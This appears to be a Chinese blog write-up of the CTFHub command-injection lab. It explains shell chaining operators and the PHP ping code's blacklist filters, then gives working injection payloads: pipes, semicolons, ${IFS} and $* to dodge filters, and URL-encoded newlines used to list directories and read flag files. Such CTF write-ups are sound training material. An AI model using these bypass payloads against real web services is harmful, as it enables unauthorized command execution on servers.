ctfhub 命令注入

知识点

1.常见的拼接符

1、A ; B     先执行A,再执行B
2、A & B    简单的拼接
3、A | B      显示B的执行结果
4、A&&B    A执行成功之后才会执行B
5、A || B     A执行失败之后才会执行B
,           在特殊情况下可代替空格

2.常见的命令

(1)windows

1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)
2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)Linux

1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行

一.无过滤

表单提交数据查询

127.0.0.1 | ls

127.0.0.1 | cat 13902158133348.php

查看页面源码

二.过滤cat

127.0.0.1 | ls

用head替换cat

127.0.0.1 | head flag_177602969423543.php

查看页面源码

三.过滤空格

127.0.0.1|ls

利用${IFS}绕过空格

127.0.0.1|cat${IFS}flag_30018569826895.php

查看页面源码

四.过滤目录分割符

127.0.0.1 | ls

因为过滤了分割符,所以flag_is_here文件夹下的文件不能直接读取

先进入文件夹

127.0.0.1;cd flag_is_here;ls

读取文件内容

127.0.0.1;cd flag_is_here;cat flag_31805149391734.php

查看页面源码

五.过滤运算符

代码分析

这段代码主要是处理通过 GET 方式传递的 ip 参数。
首先,定义了一个变量 $res 并初始化为 FALSE 。
然后,通过 isset($_GET['ip']) && $_GET['ip'] 检查是否存在 ip 参数并且该参数不为空。
如果存在且符合条件,将 ip 参数的值赋给变量 $ip ,并创建一个空数组 $m 。
接着,使用 preg_match_all 函数检查 $ip 中是否包含 | 或 & 。如果不包含,执行 $cmd = "ping -c 4 {$ip}" 构建一个 ping 命令的字符串,并使用 exec 函数执行该命令,将结果存储在 $res 中。
如果 $ip 中包含了 | 或 & ,则将匹配的结果存储在 $res 中。
;并没有被过滤

127.0.0.1;ls

;cat flag_15472583520602.php

查看页面源码

六.综合过滤

代码分析

这段代码的主要目的是根据用户通过 GET 方法提交的 ip 参数执行相应的操作。

首先,初始化 $resFALSE 。然后检查是否存在 ip 参数并且其不为空。如果存在有效的 ip 参数,会进行进一步的正则表达式匹配检查。

正则表达式 /(\||&|;| |\/|cat|flag|ctfhub)/ 用于检查 ip 参数中是否包含了 |&; 、 空格 、 /catflagctfhub 等特定字符。如果不包含这些字符,就构建一个 ping -c 4 {$ip} 的命令并使用 exec 函数执行,将结果存储在 $res 中。如果包含了这些被禁止的字符,就将匹配结果存储在 $res 中。

绕过思路

%0a 换行符
%0d 回车符
$* 在shell命令执行下为空
${IFS} 表示空格

列举目录

?ip=127.0.0.1%0als

注意本体在url上修改即可

http://challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=%0als#

若要在表单提交处修改则需要注意,提交后删除url中的25后即可执行

列举文件夹下的文件

http://challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#

查看文件内容获取flag

challenge-0b522550916c7d0b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_189242026830052.php#

查看页面源码

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值